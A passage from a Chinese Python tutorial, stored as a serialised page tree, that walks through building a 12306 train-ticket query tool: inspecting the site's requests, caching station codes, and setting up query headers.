法",{"type":18,"tag":443,"props":63111,"children":63112},{"align":3465},[63113],{"type":18,"tag":105,"props":63114,"children":63115},{},[63116],{"type":24,"value":61400},{"type":18,"tag":459,"props":63118,"children":63119},{},[63120,63136,63153,63170,63187,63204],{"type":18,"tag":439,"props":63121,"children":63122},{},[63123,63131],{"type":18,"tag":466,"props":63124,"children":63125},{"align":3465},[63126],{"type":18,"tag":74,"props":63127,"children":63129},{"className":63128},[],[63130],{"type":24,"value":30648},{"type":18,"tag":466,"props":63132,"children":63133},{"align":3465},[63134],{"type":24,"value":63135},"该方法用于获取当前正在执行的命令行参数的参数列表",{"type":18,"tag":439,"props":63137,"children":63138},{},[63139,63148],{"type":18,"tag":466,"props":63140,"children":63141},{"align":3465},[63142],{"type":18,"tag":74,"props":63143,"children":63145},{"className":63144},[],[63146],{"type":24,"value":63147},"sys.path",{"type":18,"tag":466,"props":63149,"children":63150},{"align":3465},[63151],{"type":24,"value":63152},"该方法用于获取指定模块路径的字符串集合",{"type":18,"tag":439,"props":63154,"children":63155},{},[63156,63165],{"type":18,"tag":466,"props":63157,"children":63158},{"align":3465},[63159],{"type":18,"tag":74,"props":63160,"children":63162},{"className":63161},[],[63163],{"type":24,"value":63164},"sys.exit()",{"type":18,"tag":466,"props":63166,"children":63167},{"align":3465},[63168],{"type":24,"value":63169},"该方法用于退出程序，当参数非0时，会引发一个SystemExit异常，从而可以在主程序中捕获该异常",{"type":18,"tag":439,"props":63171,"children":63172},{},[63173,63182],{"type":18,"tag":466,"props":63174,"children":63175},{"align":3465},[63176],{"type":18,"tag":74,"props":63177,"children":63179},{"className":63178},[],[63180],{"type":24,"value":63181},"sys.platform",{"type":18,"tag":466,"props":63183,"children":63184},{"align":3465},[63185],{"type":24,"value":63186},"该方法用于获取当前系统平台",{"type":18,"tag":439,"props":63188,"children":63189},{},[63190,63199],{"type":18,"tag":466,"props":63191,"children":63192},{"align":3465},[63193],{"type":18,"tag":74,"props":63194,"children":63196},{"className":63195},[],[63197],{"type":24,"value":63198},"sys.modules",{"type":18,"tag":466,"props":63200,"children":63201},{"align":3465},[63202],{"type":24,"value":63203},"该方法是用于加载模块的字典，每当程序员导入新的模块时，sys.modules将自动记录该模块。当相同模块第二次导入时Python将从该字典中进行查询，从而加快程序的运行速度",{"type":18,"tag":439,"props":63205,"children":63206},{},[63207,63216],{"type":18,"tag":466,"props":63208,"children":63209},{"align":3465},[63210],{"type":18,"tag":74,"props":63211,"children":63213},{"className":63212},[],[63214],{"type":24,"value":63215},"sys.getdefaultencoding()",{"type":18,"tag":466,"props":63217,"children":63218},{"align":3465},[63219],{"type":24,"value":63220},"该方法用于获取当前系统编码方式",{"type":18,"tag":34,"props":63222,"children":63223},{},[63224,63226,63231],{"type":24,"value":63225},"6）在代码块的最外层模拟Python的程序入口，然后调用显示窗体的",{"type":18,"tag":74,"props":63227,"children":63229},{"className":63228},[],[63230],{"type":24,"value":63011},{"type":24,"value":63232},"方法。关键代码如下：",{"type":18,"tag":287,"props":63234,"children":63236},{"className":28710,"code":63235,"language":28712,"meta":8,"style":8},"if __name__ == \"__main__\":  \n    show_MainWindow()\n",[63237],{"type":18,"tag":74,"props":63238,"children":63239},{"__ignoreMap":8},[63240,63248],{"type":18,"tag":297,"props":63241,"children":63242},{"class":299,"line":300},[63243],{"type":18,"tag":297,"props":63244,"children":63245},{},[63246],{"type":24,"value":63247},"if __name__ == \"__main__\":  \n",{"type":18,"tag":297,"props":63249,"children":63250},{"class":299,"line":657},[63251],{"type":18,"tag":297,"props":63252,"children":63253},{},[63254],{"type":24,"value":63255},"    show_MainWindow()\n",{"type":18,"tag":34,"props":63257,"children":63258},{},[63259],{"type":24,"value":63260},"执行该python文件将显示如下主界面：",{"type":18,"tag":34,"props":63262,"children":63263},{},[63264],{"type":18,"tag":54,"props":63265,"children":63268},{"alt":63266,"src":63267},"Pasted image 20250801225319","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250801225319.png",[],{"type":18,"tag":19,"props":63270,"children":63272},{"id":63271},"分析网页请求参数",[63273],{"type":24,"value":63271},{"type":18,"tag":121,"props":63275,"children":63276},{},[],{"type":18,"tag":34,"props":63278,"children":63279},{},[63280],{"type":24,"value":63281},"既然是爬票，那么一定需要一个爬取的对象，本项目实战将通过12306中国铁路客户服务中心所提供的查票请求地址获取火车票的相关信息。在发送请求时，地址中需要填写必要的参数否则后台将无法返回前台所需要的正确信息，所以首先需要分析网页请求参数，具体步骤如下：",{"type":18,"tag":34,"props":63283,"children":63284},{},[63285,63287,63293,63295,63301,63303,63309],{"type":24,"value":63286},"1）浏览器打开12306官方网站",{"type":18,"tag":74,"props":63288,"children":63290},{"className":63289},[],[63291],{"type":24,"value":63292},"https:\u002F\u002Fwww.12306.cn\u002Findex\u002F",{"type":24,"value":63294},"，输入出发地与目的地，出发日期默认即可，点击查询后会发现新打开了一个页面",{"type":18,"tag":74,"props":63296,"children":63298},{"className":63297},[],[63299],{"type":24,"value":63300},"https:\u002F\u002Fkyfw.12306.cn\u002Fotn\u002FleftTicket\u002Finit",{"type":24,"value":63302},"，这个页面才是我们的目标页面。输入出发地目的地及日期后，按下",{"type":18,"tag":74,"props":63304,"children":63306},{"className":63305},[],[63307],{"type":24,"value":63308},"F12",{"type":24,"value":63310},"快捷键打开网络监视器，然后单击查询按钮，在网络监视器中将显示对应的网络请求，如图所示。",{"type":18,"tag":34,"props":63312,"children":63313},{},[63314,63319],{"type":18,"tag":54,"props":63315,"children":63318},{"alt":63316,"src":63317},"Pasted image 20250731155223","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731155223.png",[],{"type":18,"tag":54,"props":63320,"children":63323},{"alt":63321,"src":63322},"Pasted image 20250731155548","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731155548.png",[],{"type":18,"tag":34,"props":63325,"children":63326},{},[63327],{"type":24,"value":63328},"2）单击网络请求将显示请求细节的窗口，在该窗口中默认会显示消息头的相关数据，此处可以获取完整的请求地址，如图所示。",{"type":18,"tag":34,"props":63330,"children":63331},{},[63332],{"type":18,"tag":54,"props":63333,"children":63336},{"alt":63334,"src":63335},"Pasted image 20250731155738","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731155738.png",[],{"type":18,"tag":96,"props":63338,"children":63339},{},[63340],{"type":18,"tag":34,"props":63341,"children":63342},{},[63343],{"type":24,"value":63344},"注意：随着12306官方网站的更新，请求地址会发生改变，要以当时获取的地址为准。",{"type":18,"tag":34,"props":63346,"children":63347},{},[63348],{"type":24,"value":63349},"3）在请求地址的下方，请求头信息当中获取该请求地址中的Cookie信息，如图所示：",{"type":18,"tag":34,"props":63351,"children":63352},{},[63353],{"type":18,"tag":54,"props":63354,"children":63357},{"alt":63355,"src":63356},"Pasted image 20250731155955","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731155955.png",[],{"type":18,"tag":34,"props":63359,"children":63360},{},[63361],{"type":24,"value":63362},"4）在请求地址的上方选择参数选项，将显示该请求地址中的必要参数，如图所示：",{"type":18,"tag":34,"props":63364,"children":63365},{},[63366],{"type":18,"tag":54,"props":63367,"children":63370},{"alt":63368,"src":63369},"Pasted image 20250731160453","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731160453.png",[],{"type":18,"tag":19,"props":63372,"children":63374},{"id":63373},"下载站名文件",[63375],{"type":24,"value":63373},{"type":18,"tag":121,"props":63377,"children":63378},{},[],{"type":18,"tag":34,"props":63380,"children":63381},{},[63382],{"type":24,"value":63383},"得到了请求地址与请求参数后，可以发现请求参数中的出发地与目的地均为车站名的英文缩写。而这个英文缩写的字母是通过输入中文车站名转换而来的，所以需要在网页中仔细查找是否有将车站名自动转换为英文缩写的请求信息，具体步骤如下：",{"type":18,"tag":34,"props":63385,"children":63386},{},[63387,63389,63395,63397,63402],{"type":24,"value":63388},"1）关闭并重新打开网络监视器，然后按下快捷键",{"type":18,"tag":74,"props":63390,"children":63392},{"className":63391},[],[63393],{"type":24,"value":63394},"F5",{"type":24,"value":63396},"进行余票查询网页的刷新，此时在网络监视器中选择类型为",{"type":18,"tag":74,"props":63398,"children":63400},{"className":63399},[],[63401],{"type":24,"value":39132},{"type":24,"value":63403},"的网络请求。在文件类型中仔细分析文件内容是否有，与车站名相关的信息如图所示。",{"type":18,"tag":34,"props":63405,"children":63406},{},[63407],{"type":18,"tag":54,"props":63408,"children":63411},{"alt":63409,"src":63410},"Pasted image 20250731211908","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731211908.png",[],{"type":18,"tag":96,"props":63413,"children":63414},{},[63415],{"type":18,"tag":34,"props":63416,"children":63417},{},[63418],{"type":24,"value":63419},"说明：在分析信息位置时，查询按钮仅仅实现了发送查票的网络请求，而并没有发现将文字转换为车站名缩写的相关处理，此时可以判断在进入余票查询页面时就已经得到了将车站名转换为英文缩写的相关信息，所以可以刷新页面查看网络监视器中的网络请求。",{"type":18,"tag":34,"props":63421,"children":63422},{},[63423],{"type":24,"value":63424},"2）选中与车站名相关的网络请求，在请求细节中找到该请求的完整地址。然后在网页中打开该地址测试返回数据，如图所示。",{"type":18,"tag":34,"props":63426,"children":63427},{},[63428],{"type":18,"tag":54,"props":63429,"children":63432},{"alt":63430,"src":63431},"Pasted image 20250731212159","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731212159.png",[],{"type":18,"tag":96,"props":63434,"children":63435},{},[63436],{"type":18,"tag":34,"props":63437,"children":63438},{},[63439,63441,63447],{"type":24,"value":63440},"说明：看到返回的车站名信息，此时可以确认根据该信息可以进行车站名汉字与对应的英文缩写进行转换。例如，可以在该条信息中找到天水南对应的是",{"type":18,"tag":74,"props":63442,"children":63444},{"className":63443},[],[63445],{"type":24,"value":63446},"TIJ",{"type":24,"value":63448},"。由于该条信息并没有自动转换的功能，所以需要将该信息以文件的方式保存在项目中。当需要转换时在文件中查找对应的英文缩写即可。",{"type":18,"tag":34,"props":63450,"children":63451},{},[63452,63454,63460],{"type":24,"value":63453},"3）打开PyCharm开发工具，在项目目录中右键菜单依次选择New → Python File，创建一个名称为",{"type":18,"tag":74,"props":63455,"children":63457},{"className":63456},[],[63458],{"type":24,"value":63459},"get_stations.py",{"type":24,"value":63461},"文件，然后确保已成功安装requests模块即可。",{"type":18,"tag":34,"props":63463,"children":63464},{},[63465,63467,63472,63474,63480,63482,63488,63490,63496,63498,63504],{"type":24,"value":63466},"4）在",{"type":18,"tag":74,"props":63468,"children":63470},{"className":63469},[],[63471],{"type":24,"value":63459},{"type":24,"value":63473},"文件中分别导入",{"type":18,"tag":74,"props":63475,"children":63477},{"className":63476},[],[63478],{"type":24,"value":63479},"requests",{"type":24,"value":63481},"模块、",{"type":18,"tag":74,"props":63483,"children":63485},{"className":63484},[],[63486],{"type":24,"value":63487},"re",{"type":24,"value":63489},"模块及",{"type":18,"tag":74,"props":63491,"children":63493},{"className":63492},[],[63494],{"type":24,"value":63495},"os",{"type":24,"value":63497},"模块，然后创建",{"type":18,"tag":74,"props":63499,"children":63501},{"className":63500},[],[63502],{"type":24,"value":63503},"getStation()",{"type":24,"value":63505},"方法，该方法用于发送获取地址信息的网络请求，并将返回的数据转换为需要的类型。关键代码如下：",{"type":18,"tag":287,"props":63507,"children":63509},{"className":28710,"code":63508,"language":28712,"meta":8,"style":8},"stat = {}                                       # 设定一个全局变量存放地址转换字典信息\ndef getStation():  \n    # 发送请求获取所有车站名称，通过输入的站名转换为查询地址的参数  \n    url = 'https:\u002F\u002Fkyfw.12306.cn\u002Fotn\u002Fresources\u002Fjs\u002Fframework\u002Fstation_name.js?station_version=1.9346'  \n    response = requests.get(url, verify=True) # 请求并进行验证  \n    # 获取需要的车站名称  \n    stations = re.findall(r'([\\u4e00-\\u9fa5]+)\\|([A-Z]+)', response.text)  \n    stations = dict((stations))                  # 转换为字典类型  \n    global stat  \n    stat = stations                              # 将结果存入全局变量stat  \n    stations = str(stations)                     # 转换为字符串类型否则无法写入文件  \n    write(stations)                              # 调用写入方法\n",[63510],{"type":18,"tag":74,"props":63511,"children":63512},{"__ignoreMap":8},[63513,63521,63529,63537,63545,63553,63561,63569,63577,63585,63593,63601],{"type":18,"tag":297,"props":63514,"children":63515},{"class":299,"line":300},[63516],{"type":18,"tag":297,"props":63517,"children":63518},{},[63519],{"type":24,"value":63520},"stat = {}                                       # 设定一个全局变量存放地址转换字典信息\n",{"type":18,"tag":297,"props":63522,"children":63523},{"class":299,"line":657},[63524],{"type":18,"tag":297,"props":63525,"children":63526},{},[63527],{"type":24,"value":63528},"def getStation():  \n",{"type":18,"tag":297,"props":63530,"children":63531},{"class":299,"line":662},[63532],{"type":18,"tag":297,"props":63533,"children":63534},{},[63535],{"type":24,"value":63536},"    # 发送请求获取所有车站名称，通过输入的站名转换为查询地址的参数  \n",{"type":18,"tag":297,"props":63538,"children":63539},{"class":299,"line":799},[63540],{"type":18,"tag":297,"props":63541,"children":63542},{},[63543],{"type":24,"value":63544},"    url = 'https:\u002F\u002Fkyfw.12306.cn\u002Fotn\u002Fresources\u002Fjs\u002Fframework\u002Fstation_name.js?station_version=1.9346'  \n",{"type":18,"tag":297,"props":63546,"children":63547},{"class":299,"line":808},[63548],{"type":18,"tag":297,"props":63549,"children":63550},{},[63551],{"type":24,"value":63552},"    response = requests.get(url, verify=True) # 请求并进行验证  \n",{"type":18,"tag":297,"props":63554,"children":63555},{"class":299,"line":817},[63556],{"type":18,"tag":297,"props":63557,"children":63558},{},[63559],{"type":24,"value":63560},"    # 获取需要的车站名称  \n",{"type":18,"tag":297,"props":63562,"children":63563},{"class":299,"line":826},[63564],{"type":18,"tag":297,"props":63565,"children":63566},{},[63567],{"type":24,"value":63568},"    stations = re.findall(r'([\\u4e00-\\u9fa5]+)\\|([A-Z]+)', response.text)  \n",{"type":18,"tag":297,"props":63570,"children":63571},{"class":299,"line":4524},[63572],{"type":18,"tag":297,"props":63573,"children":63574},{},[63575],{"type":24,"value":63576},"    stations = dict((stations))                  # 转换为字典类型  \n",{"type":18,"tag":297,"props":63578,"children":63579},{"class":299,"line":4533},[63580],{"type":18,"tag":297,"props":63581,"children":63582},{},[63583],{"type":24,"value":63584},"    global stat  \n",{"type":18,"tag":297,"props":63586,"children":63587},{"class":299,"line":4546},[63588],{"type":18,"tag":297,"props":63589,"children":63590},{},[63591],{"type":24,"value":63592},"    stat = stations                              # 将结果存入全局变量stat  \n",{"type":18,"tag":297,"props":63594,"children":63595},{"class":299,"line":4555},[63596],{"type":18,"tag":297,"props":63597,"children":63598},{},[63599],{"type":24,"value":63600},"    stations = str(stations)                     # 转换为字符串类型否则无法写入文件  \n",{"type":18,"tag":297,"props":63602,"children":63603},{"class":299,"line":4568},[63604],{"type":18,"tag":297,"props":63605,"children":63606},{},[63607],{"type":24,"value":63608},"    write(stations)                              # 调用写入方法\n",{"type":18,"tag":96,"props":63610,"children":63611},{},[63612],{"type":18,"tag":34,"props":63613,"children":63614},{},[63615],{"type":24,"value":63616},"说明：requests模块为第三方模块，该模块主要用于处理网络请求；re模块为Python自带的模块，主要通过正则表达式匹配并处理相应的字符串；os模块为Python自带的模块，主要用于判断某个路径下的某个文件。",{"type":18,"tag":34,"props":63618,"children":63619},{},[63620],{"type":24,"value":63344},{"type":18,"tag":34,"props":63622,"children":63623},{},[63624,63626,63632,63634,63640,63642,63648],{"type":24,"value":63625},"5）分别创建",{"type":18,"tag":74,"props":63627,"children":63629},{"className":63628},[],[63630],{"type":24,"value":63631},"write()",{"type":24,"value":63633},"方法、",{"type":18,"tag":74,"props":63635,"children":63637},{"className":63636},[],[63638],{"type":24,"value":63639},"read()",{"type":24,"value":63641},"方法及",{"type":18,"tag":74,"props":63643,"children":63645},{"className":63644},[],[63646],{"type":24,"value":63647},"isStations()",{"type":24,"value":63649},"方法，分别用于写入文件、读取文件以及判断车站文件是否存在，代码如下：",{"type":18,"tag":287,"props":63651,"children":63653},{"className":28710,"code":63652,"language":28712,"meta":8,"style":8},"def write(stations):  \n    file =open('stations.text','w',encoding='utf_8_sig')   # 以写模式打开文件  \n    file.write(stations)                                   # 写入文件  \n    file.close()  \n  \ndef read():  \n    file =open('stations.text','r',encoding='utf_8_sig')   # 以写模式打开文件  \n    data = file.readline()                                 # 读取文件  \n    file.close()  \n    return data  \n  \ndef isStations():  \n    isStations = os.path.exists('stations.text')           # 判断车站文件是否存在  \n    return isStations\n",[63654],{"type":18,"tag":74,"props":63655,"children":63656},{"__ignoreMap":8},[63657,63665,63673,63681,63689,63696,63704,63712,63720,63727,63735,63742,63750,63758],{"type":18,"tag":297,"props":63658,"children":63659},{"class":299,"line":300},[63660],{"type":18,"tag":297,"props":63661,"children":63662},{},[63663],{"type":24,"value":63664},"def write(stations):  \n",{"type":18,"tag":297,"props":63666,"children":63667},{"class":299,"line":657},[63668],{"type":18,"tag":297,"props":63669,"children":63670},{},[63671],{"type":24,"value":63672},"    file =open('stations.text','w',encoding='utf_8_sig')   # 以写模式打开文件  \n",{"type":18,"tag":297,"props":63674,"children":63675},{"class":299,"line":662},[63676],{"type":18,"tag":297,"props":63677,"children":63678},{},[63679],{"type":24,"value":63680},"    file.write(stations)                                   # 写入文件  \n",{"type":18,"tag":297,"props":63682,"children":63683},{"class":299,"line":799},[63684],{"type":18,"tag":297,"props":63685,"children":63686},{},[63687],{"type":24,"value":63688},"    file.close()  \n",{"type":18,"tag":297,"props":63690,"children":63691},{"class":299,"line":808},[63692],{"type":18,"tag":297,"props":63693,"children":63694},{},[63695],{"type":24,"value":36783},{"type":18,"tag":297,"props":63697,"children":63698},{"class":299,"line":817},[63699],{"type":18,"tag":297,"props":63700,"children":63701},{},[63702],{"type":24,"value":63703},"def read():  \n",{"type":18,"tag":297,"props":63705,"children":63706},{"class":299,"line":826},[63707],{"type":18,"tag":297,"props":63708,"children":63709},{},[63710],{"type":24,"value":63711},"    file =open('stations.text','r',encoding='utf_8_sig')   # 以写模式打开文件  \n",{"type":18,"tag":297,"props":63713,"children":63714},{"class":299,"line":4524},[63715],{"type":18,"tag":297,"props":63716,"children":63717},{},[63718],{"type":24,"value":63719},"    data = file.readline()                                 # 读取文件  \n",{"type":18,"tag":297,"props":63721,"children":63722},{"class":299,"line":4533},[63723],{"type":18,"tag":297,"props":63724,"children":63725},{},[63726],{"type":24,"value":63688},{"type":18,"tag":297,"props":63728,"children":63729},{"class":299,"line":4546},[63730],{"type":18,"tag":297,"props":63731,"children":63732},{},[63733],{"type":24,"value":63734},"    return data  \n",{"type":18,"tag":297,"props":63736,"children":63737},{"class":299,"line":4555},[63738],{"type":18,"tag":297,"props":63739,"children":63740},{},[63741],{"type":24,"value":36783},{"type":18,"tag":297,"props":63743,"children":63744},{"class":299,"line":4568},[63745],{"type":18,"tag":297,"props":63746,"children":63747},{},[63748],{"type":24,"value":63749},"def isStations():  \n",{"type":18,"tag":297,"props":63751,"children":63752},{"class":299,"line":4577},[63753],{"type":18,"tag":297,"props":63754,"children":63755},{},[63756],{"type":24,"value":63757},"    isStations = os.path.exists('stations.text')           # 判断车站文件是否存在  \n",{"type":18,"tag":297,"props":63759,"children":63760},{"class":299,"line":4590},[63761],{"type":18,"tag":297,"props":63762,"children":63763},{},[63764],{"type":24,"value":63765},"    return isStations\n",{"type":18,"tag":34,"props":63767,"children":63768},{},[63769,63771,63776,63778,63784],{"type":24,"value":63770},"6）打开",{"type":18,"tag":74,"props":63772,"children":63774},{"className":63773},[],[63775],{"type":24,"value":62167},{"type":24,"value":63777},"文件，首先导入",{"type":18,"tag":74,"props":63779,"children":63781},{"className":63780},[],[63782],{"type":24,"value":63783},"get_stations",{"type":24,"value":63785},"文件下的所有方法，然后在模拟python的程序入口处修改代码。接下来判断是否存在所有车站信息的文件，如果没有该文件就下载车站信息的文件然后显示窗体，如果存在将直接显示窗体即可。修改后代码如下：",{"type":18,"tag":287,"props":63787,"children":63789},{"className":28710,"code":63788,"language":28712,"meta":8,"style":8},"from get_stations import * # 导入get_stations文件下的所有方法\n\nif __name__ == \"__main__\":  \n    if isStations() ==False:     # 判断是否存在所有车站的文件，没有就下载，有就直接显示窗体  \n        getStation()             # 下载所有车站文件  \n        show_MainWindow()        # 调用显示窗体的方法  \n    else:  \n        show_MainWindow()        # 调用显示窗体的方法\n",[63790],{"type":18,"tag":74,"props":63791,"children":63792},{"__ignoreMap":8},[63793,63801,63808,63815,63823,63831,63839,63847],{"type":18,"tag":297,"props":63794,"children":63795},{"class":299,"line":300},[63796],{"type":18,"tag":297,"props":63797,"children":63798},{},[63799],{"type":24,"value":63800},"from get_stations import * # 导入get_stations文件下的所有方法\n",{"type":18,"tag":297,"props":63802,"children":63803},{"class":299,"line":657},[63804],{"type":18,"tag":297,"props":63805,"children":63806},{"emptyLinePlaceholder":793},[63807],{"type":24,"value":796},{"type":18,"tag":297,"props":63809,"children":63810},{"class":299,"line":662},[63811],{"type":18,"tag":297,"props":63812,"children":63813},{},[63814],{"type":24,"value":63247},{"type":18,"tag":297,"props":63816,"children":63817},{"class":299,"line":799},[63818],{"type":18,"tag":297,"props":63819,"children":63820},{},[63821],{"type":24,"value":63822},"    if isStations() ==False:     # 判断是否存在所有车站的文件，没有就下载，有就直接显示窗体  \n",{"type":18,"tag":297,"props":63824,"children":63825},{"class":299,"line":808},[63826],{"type":18,"tag":297,"props":63827,"children":63828},{},[63829],{"type":24,"value":63830},"        getStation()             # 下载所有车站文件  \n",{"type":18,"tag":297,"props":63832,"children":63833},{"class":299,"line":817},[63834],{"type":18,"tag":297,"props":63835,"children":63836},{},[63837],{"type":24,"value":63838},"        show_MainWindow()        # 调用显示窗体的方法  \n",{"type":18,"tag":297,"props":63840,"children":63841},{"class":299,"line":826},[63842],{"type":18,"tag":297,"props":63843,"children":63844},{},[63845],{"type":24,"value":63846},"    else:  \n",{"type":18,"tag":297,"props":63848,"children":63849},{"class":299,"line":4524},[63850],{"type":18,"tag":297,"props":63851,"children":63852},{},[63853],{"type":24,"value":63854},"        show_MainWindow()        # 调用显示窗体的方法\n",{"type":18,"tag":34,"props":63856,"children":63857},{},[63858,63860,63865],{"type":24,"value":63859},"7）在",{"type":18,"tag":74,"props":63861,"children":63863},{"className":63862},[],[63864],{"type":24,"value":62167},{"type":24,"value":63866},"文件下，单击右键菜单中选择“Run 'window'”菜单运行主窗体，主窗体界面显示后在check tickets目录下将自动下载stations.text文件，如图所示，通过该文件可以实现车站名称与对应的英文缩写进行转换。",{"type":18,"tag":34,"props":63868,"children":63869},{},[63870],{"type":18,"tag":54,"props":63871,"children":63874},{"alt":63872,"src":63873},"Pasted image 20250731221559","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731221559.png",[],{"type":18,"tag":19,"props":63876,"children":63878},{"id":63877},"车票信息的请求与显示",[63879],{"type":24,"value":63877},{"type":18,"tag":121,"props":63881,"children":63882},{},[],{"type":18,"tag":27,"props":63884,"children":63886},{"id":63885},"_1-发送与分析车票信息的查询请求",[63887],{"type":24,"value":63888},"1  发送与分析车票信息的查询请求",{"type":18,"tag":34,"props":63890,"children":63891},{},[63892],{"type":24,"value":63893},"得到了获取车票信息的网络请求地址，然后又分析出请求地址的必要参数以及车站名称转换的文件，接下来就需要将主窗体中输入的出发地、目的地以及出发日期三个重要的参数配置到查票的请求地址中，然后分析并接收所查询车票的对应信息。具体步骤如下：",{"type":18,"tag":34,"props":63895,"children":63896},{},[63897],{"type":24,"value":63898},"1）在浏览器中打开如下图所示的查询请求地址。",{"type":18,"tag":34,"props":63900,"children":63901},{},[63902],{"type":18,"tag":54,"props":63903,"children":63906},{"alt":63904,"src":63905},"Pasted image 20250731223116","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731223116.png",[],{"type":18,"tag":34,"props":63908,"children":63909},{},[63910,63912,63917],{"type":24,"value":63911},"然后在浏览器中将以",{"type":18,"tag":74,"props":63913,"children":63915},{"className":63914},[],[63916],{"type":24,"value":9261},{"type":24,"value":63918},"的方式返回车票的查询信息，如图所示。",{"type":18,"tag":34,"props":63920,"children":63921},{},[63922],{"type":18,"tag":54,"props":63923,"children":63926},{"alt":63924,"src":63925},"Pasted image 20250731223611","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731223611.png",[],{"type":18,"tag":96,"props":63928,"children":63929},{},[63930],{"type":18,"tag":34,"props":63931,"children":63932},{},[63933,63935,63941,63943,63948],{"type":24,"value":63934},"说明：在看到的加密信息后先分析数据中是否含有可用的信息，例如，网页中的预订、时间、车次，在上图中的加密信息中含有",{"type":18,"tag":74,"props":63936,"children":63938},{"className":63937},[],[63939],{"type":24,"value":63940},"G13",{"type":24,"value":63942},"的字样和时间信息。然后对照浏览器中余票查询的页面，查找对应车次信息如图所示，此时可以判断返回的",{"type":18,"tag":74,"props":63944,"children":63946},{"className":63945},[],[63947],{"type":24,"value":9261},{"type":24,"value":63949},"信息确实含有可用数据。",{"type":18,"tag":34,"props":63951,"children":63952},{},[63953],{"type":18,"tag":54,"props":63954,"children":63957},{"alt":63955,"src":63956},"Pasted image 20250731223933","\u002Fimages\u002Fblog\u002Ftrain-tickets\u002FPasted%20image%2020250731223933.png",[],{"type":18,"tag":34,"props":63959,"children":63960},{},[63961,63963,63969,63971,63976,63978,63983,63984,63990],{"type":24,"value":63962},"2）发现可用数据后，在项目中创建",{"type":18,"tag":74,"props":63964,"children":63966},{"className":63965},[],[63967],{"type":24,"value":63968},"query_request.py",{"type":24,"value":63970},"文件，在该文件中首先导入",{"type":18,"tag":74,"props":63972,"children":63974},{"className":63973},[],[63975],{"type":24,"value":63783},{"type":24,"value":63977},"文件下的所有方法，然后分别创建名称为",{"type":18,"tag":74,"props":63979,"children":63981},{"className":63980},[],[63982],{"type":24,"value":20232},{"type":24,"value":45664},{"type":18,"tag":74,"props":63985,"children":63987},{"className":63986},[],[63988],{"type":24,"value":63989},"type_data",{"type":24,"value":63991},"的列表（list）分别用于保存整理好的车次信息与分类后的车次信息。代码如下：",{"type":18,"tag":287,"props":63993,"children":63995},{"className":28710,"code":63994,"language":28712,"meta":8,"style":8},"import requests  \nimport get_stations  \nfrom fake_useragent import UserAgent        # 导入伪造头部信息模块  \n  \n\"\"\"  \nseat -> 3 车次 6 出发站 7 到达站 8 出发时间 9 到达时间 10 历时 32 商务\u002F特等座 20 优选一等座 31 一等座 30 二等座  21 高级软卧 23 一等卧 28 二等卧 24 软座 29 硬座 26 无座  \n\"\"\"  \n  \ndata = []                                   # 用于保存整理好的车次信息  \ntype_data = []                              # 保存车次分类后最后的数据  \n  \nheaders = {'User-Agent': UserAgent().random,  # 随机生成浏览器头部信息  \n           'Cookie':'_uab_collina=175394...'}\n",[63996],{"type":18,"tag":74,"props":63997,"children":63998},{"__ignoreMap":8},[63999,64007,64015,64023,64030,64038,64046,64053,64060,64068,64076,64083,64091],{"type":18,"tag":297,"props":64000,"children":64001},{"class":299,"line":300},[64002],{"type":18,"tag":297,"props":64003,"children":64004},{},[64005],{"type":24,"value":64006},"import requests  \n",{"type":18,"tag":297,"props":64008,"children":64009},{"class":299,"line":657},[64010],{"type":18,"tag":297,"props":64011,"children":64012},{},[64013],{"type":24,"value":64014},"import get_stations  \n",{"type":18,"tag":297,"props":64016,"children":64017},{"class":299,"line":662},[64018],{"type":18,"tag":297,"props":64019,"children":64020},{},[64021],{"type":24,"value":64022},"from fake_useragent import UserAgent        # 导入伪造头部信息模块  \n",{"type":18,"tag":297,"props":64024,"children":64025},{"class":299,"line":799},[64026],{"type":18,"tag":297,"props":64027,"children":64028},{},[64029],{"type":24,"value":36783},{"type":18,"tag":297,"props":64031,"children":64032},{"class":299,"line":808},[64033],{"type":18,"tag":297,"props":64034,"children":64035},{},[64036],{"type":24,"value":64037},"\"\"\"  \n",{"type":18,"tag":297,"props":64039,"children":64040},{"class":299,"line":817},[64041],{"type":18,"tag":297,"props":64042,"children":64043},{},[64044],{"type":24,"value":64045},"seat -> 3 车次 6 出发站 7 到达站 8 出发时间 9 到达时间 10 历时 32 商务\u002F特等座 20 优选一等座 31 一等座 30 二等座  21 高级软卧 23 一等卧 28 二等卧 24 软座 29 硬座 26 无座  \n",{"type":18,"tag":297,"props":64047,"children":64048},{"class":299,"line":826},[64049],{"type":18,"tag":297,"props":64050,"children":64051},{},[64052],{"type":24,"value":64037},{"type":18,"tag":297,"props":64054,"children":64055},{"class":299,"line":4524},[64056],{"type":18,"tag":297,"props":64057,"children":64058},{},[64059],{"type":24,"value":36783},{"type":18,"tag":297,"props":64061,"children":64062},{"class":299,"line":4533},[64063],{"type":18,"tag":297,"props":64064,"children":64065},{},[64066],{"type":24,"value":64067},"data = []                                   # 用于保存整理好的车次信息  \n",{"type":18,"tag":297,"props":64069,"children":64070},{"class":299,"line":4546},[64071],{"type":18,"tag":297,"props":64072,"children":64073},{},[64074],{"type":24,"value":64075},"type_data = []                              # 保存车次分类后最后的数据  \n",{"type":18,"tag":297,"props":64077,"children":64078},{"class":299,"line":4555},[64079],{"type":18,"tag":297,"props":64080,"children":64081},{},[64082],{"type":24,"value":36783},{"type":18,"tag":297,"props":64084,"children":64085},{"class":299,"line":4568},[64086],{"type":18,"tag":297,"props":64087,"children":64088},{},[64089],{"type":24,"value":64090},"headers = {'User-Agent': UserAgent().random,  # 随机生成浏览器头部信息  \n",{"type":18,"tag":297,"props":64092,"children":64093},{"class":299,"line":4577},[64094],{"type":18,"tag":297,"props":64095,"children":64096},{},[64097],{"type":24,"value":64098},"           